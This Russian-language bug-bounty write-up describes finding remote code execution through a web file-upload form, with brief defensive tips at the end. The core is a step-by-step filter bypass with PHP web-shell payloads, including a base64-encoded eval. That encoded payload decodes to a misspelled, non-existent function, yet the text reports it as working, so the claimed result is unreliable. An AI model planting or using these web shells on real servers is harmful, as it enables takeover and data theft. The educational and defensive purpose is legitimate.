В этой статье покажу, как мне удалось найти уязвимость RCE (удаленное выполнения кода) через форму загрузки файлов. Если вы интересуетесь поиском уязвимостей и багбаунти, статья будет полезной для вас.
Еще по теме: Взлом LibreNMS с помощью RCE
Уязвимость RCE через загрузку файлов
Уязвимость RCE через форму загрузки файлов — это брешь в безопасности веб—приложения, позволяющая хакеру выполнить свой код на сервере жертвы. Это происходит, когда сайт разрешает пользователям загружать файлы, но недостаточно тщательно их проверяет. Атакующий может загрузить вредоносный файл, содержащий код, который будет выполнен сервером. В результате злоумышленник получает возможность выполнять команды на сервере, что может привести к краже данных, изменению информации или использованию сервера для дальнейших атак.
Давайте подробно разберем шаги, которые привели к обнаружению RCE через загрузку файла.
Материал представлен исключительно в образовательных целях для обучения багхантеров (этичные хакеры, которые занимаются законным взломом за вознаграждение. Несанкционированный взлом сайтов — это нарушение закона. Автор и администрация сайта spy-soft.net не несут ответственности за любое неправомерное использование данной информации.
Первый шаг — анализ сервера веб-приложения. Есть два способа это сделать:
Использование расширения Wappalyze (см. Лучшие хакерские расширения):
Проверка ответов:
На основе информации о сервере Apache я решил попытаться эскалировать уязвимость для RCE.
В форму загрузки я попробовал загрузить файл с расширением .php, но на клиентской стороне было ограничение, разрешающее только изображения в формате .jpg и .png. Чтобы обойти это, я загрузил изображение и перехватил запрос с помощью Burp Suite.
Когда запрос был перехвачен, я изменил расширение файла на .php и внедрил простой PHP-код для выполнения команд через метод GET:
1 |
<?php system($_GET['cmd']); ?> |
Хотя сервер принял файл с расширением .php, он заблокировал выполнение PHP-кода из-за фильтрации на стороне сервера.
Я начал экспериментировать, постепенно убирая символы из кода и наблюдая за ответом сервера. После нескольких попыток я обнаружил, что сервер блокирует файлы, если в них встречается слово php. Если его нет, загрузка проходит успешно.
Заблокированный код:
1 |
<?php system($_GET[‘cmd’]); ?> |
Принятый код:
1 |
<? system($_GET[‘cmd’]); ?> |
Но даже этот код загружался, но не выполнялся.
Затем я пробовал разные PHP-скрипты, все они успешно загружались, но ни один из них не выполнялся. Я не сдавался и подумал, почему бы не попробовать отправить код в закодированном виде?
Я создал PHP-скрипт с использованием кодировки Base64. Код выглядел так:
1 |
<?=eval(base64_decode('ZWNobyBzaGVsbF91eGVjKCRfR0VUWydjbWQnXS4nIDI+JjEnKTs='));?> |
Внедрил этот код, и он успешно выполнился. Уязвимость RCE была найдена!
Эта уязвимость существовала по следующим причинам:
- Сервер не ограничивал типы файлов — мне удалось загрузить опасный файл с расширением .php.
- Каталог для загруженных файлов позволял выполнение скриптов, что дало возможность запускать мой PHP-файл.
- Веб-сайт не проверял и не фильтровал содержимое загруженных файлов должным образом.
Найти уязвимость RCE через форму загрузку файлов несложно, если знать, что искать. Если вы новичок, попробуйте поэкспериментировать с формами для загрузки файлов, и, возможно, вы найдете похожие проблемы.
Защита от подобных атак RCE
Разработчики могут предотвратить уязвимости RCE, следуя следующим рекомендациям:
- Разрешайте загрузку только безопасных файлов, таких как .jpg, .png.
- Убедитесь, что файл соответствует своему расширению. Не полагайтесь только на расширение.
- Храните загруженные файлы в каталогах, где их невозможно выполнить, даже если они содержат вредоносный код.
ПОЛЕЗНЫЕ ССЫЛКИ: